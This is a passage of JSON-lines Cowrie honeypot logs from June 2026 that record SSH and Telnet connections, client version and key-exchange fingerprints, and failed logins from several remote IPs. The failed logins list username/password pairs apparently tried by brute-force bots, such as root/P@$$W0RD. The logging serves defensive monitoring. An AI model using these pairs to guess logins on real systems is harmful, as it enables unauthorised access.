a2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:44.234507Z","src_ip":"161.132.50.236","session":"fc2ad413361f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer112233","message":"login attempt [root/Qwer112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:44.623142Z","src_ip":"161.132.50.236","session":"fc2ad413361f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:45.714044Z","src_ip":"161.132.50.236","session":"fc2ad413361f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017762184143,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:57.434275Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.67172288894653,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:08.522213Z","src_ip":"172.81.62.90","session":"2b20cdb7f241","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00519800186157,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:18.261445Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57108,"dst_ip":"159.203.135.109","dst_port":22,"session":"15cc9db8a3bf","protocol":"ssh","message":"New connection: 27.71.230.31:57108 (159.203.135.109:22) [session: 15cc9db8a3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:41.247517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:41.279124Z","src_ip":"27.71.230.31","session":"15cc9db8a3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:41.919826Z","src_ip":"27.71.230.31","session":"15cc9db8a3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nopassword@123","message":"login attempt [root/Nopassword@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:53.256447Z","src_ip":"27.71.230.31","session":"15cc9db8a3bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.3","message":"Connection lost after 14.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:34:55.575839Z","src_ip":"27.71.230.31","session":"15cc9db8a3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48548,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c8937071d6f","protocol":"telnet","message":"New connection: 172.81.62.90:48548 (159.203.135.109:23) [session: 9c8937071d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:22.017941Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":39012,"dst_ip":"159.203.135.109","dst_port":22,"session":"9535bc1b4e26","protocol":"ssh","message":"New connection: 161.132.50.236:39012 (159.203.135.109:22) [session: 9535bc1b4e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:29.068837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:29.072945Z","src_ip":"161.132.50.236","session":"9535bc1b4e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:29.161007Z","src_ip":"161.132.50.236","session":"9535bc1b4e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe@","message":"login attempt [ubuntu/123qwe@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:29.549839Z","src_ip":"161.132.50.236","session":"9535bc1b4e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:30.650530Z","src_ip":"161.132.50.236","session":"9535bc1b4e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":51698,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7b838bad20a","protocol":"ssh","message":"New connection: 14.63.196.175:51698 (10.17.0.5:22) [session: c7b838bad20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:37.877715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:37.881668Z","src_ip":"14.63.196.175","session":"c7b838bad20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:38.083910Z","src_ip":"14.63.196.175","session":"c7b838bad20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@$$W0RD","message":"login attempt [root/P@$$W0RD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:38.928402Z","src_ip":"14.63.196.175","session":"c7b838bad20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:40.142146Z","src_ip":"14.63.196.175","session":"c7b838bad20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":50728,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef0bfa98b0ff","protocol":"telnet","message":"New connection: 94.23.66.112:50728 (10.17.0.5:23) [session: ef0bfa98b0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:48.784961Z"}
{"eventid":"cowrie.session.closed","duration":31.95697259902954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:35:53.974784Z","src_ip":"172.81.62.90","session":"9c8937071d6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52968,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c3bcd64023","protocol":"telnet","message":"New connection: 172.81.62.90:52968 (159.203.135.109:23) [session: 99c3bcd64023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:36:18.654169Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47328,"dst_ip":"159.203.135.109","dst_port":23,"session":"e631775da966","protocol":"telnet","message":"New connection: 107.6.151.170:47328 (159.203.135.109:23) [session: e631775da966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:36:18.893238Z"}
{"eventid":"cowrie.session.closed","duration":33.56450796127319,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:36:52.457618Z","src_ip":"107.6.151.170","session":"e631775da966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.15385389328003,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:36:55.807878Z","src_ip":"172.81.62.90","session":"99c3bcd64023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.60887455940247,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:36:57.393649Z","src_ip":"94.23.66.112","session":"ef0bfa98b0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":45552,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ad0b9a7ed3","protocol":"ssh","message":"New connection: 161.132.50.236:45552 (159.203.135.109:22) [session: a3ad0b9a7ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:37:17.302855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:37:17.307592Z","src_ip":"161.132.50.236","session":"a3ad0b9a7ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:37:17.395690Z","src_ip":"161.132.50.236","session":"a3ad0b9a7ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia","message":"login attempt [root/nokia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:37:17.782412Z","src_ip":"161.132.50.236","session":"a3ad0b9a7ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:37:18.874851Z","src_ip":"161.132.50.236","session":"a3ad0b9a7ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":52630,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43ba6fc2245","protocol":"ssh","message":"New connection: 14.63.196.175:52630 (10.17.0.5:22) [session: f43ba6fc2245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:20.885314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:20.889376Z","src_ip":"14.63.196.175","session":"f43ba6fc2245","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:21.090854Z","src_ip":"14.63.196.175","session":"f43ba6fc2245","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123.","message":"login attempt [root/test123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:21.933723Z","src_ip":"14.63.196.175","session":"f43ba6fc2245","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53950,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e5246d3fbbc","protocol":"telnet","message":"New connection: 172.81.62.90:53950 (159.203.135.109:23) [session: 9e5246d3fbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:22.404414Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:23.138286Z","src_ip":"14.63.196.175","session":"f43ba6fc2245","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84777569770813,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:38:56.252071Z","src_ip":"172.81.62.90","session":"9e5246d3fbbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52220,"dst_ip":"159.203.135.109","dst_port":23,"session":"e220013ac0e1","protocol":"telnet","message":"New connection: 172.81.62.90:52220 (159.203.135.109:23) [session: e220013ac0e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:00.369956Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":46326,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec7d49bca957","protocol":"ssh","message":"New connection: 161.132.50.236:46326 (159.203.135.109:22) [session: ec7d49bca957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:04.295723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:04.301290Z","src_ip":"161.132.50.236","session":"ec7d49bca957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:04.389591Z","src_ip":"161.132.50.236","session":"ec7d49bca957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace@2024","message":"login attempt [dspace/dspace@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:04.778469Z","src_ip":"161.132.50.236","session":"ec7d49bca957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:05.871191Z","src_ip":"161.132.50.236","session":"ec7d49bca957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.14253044128418,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:40.512401Z","src_ip":"172.81.62.90","session":"e220013ac0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54324,"dst_ip":"159.203.135.109","dst_port":22,"session":"f456e5b90780","protocol":"ssh","message":"New connection: 103.176.20.57:54324 (159.203.135.109:22) [session: f456e5b90780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:53.664580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:39:53.670552Z","src_ip":"103.176.20.57","session":"f456e5b90780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client 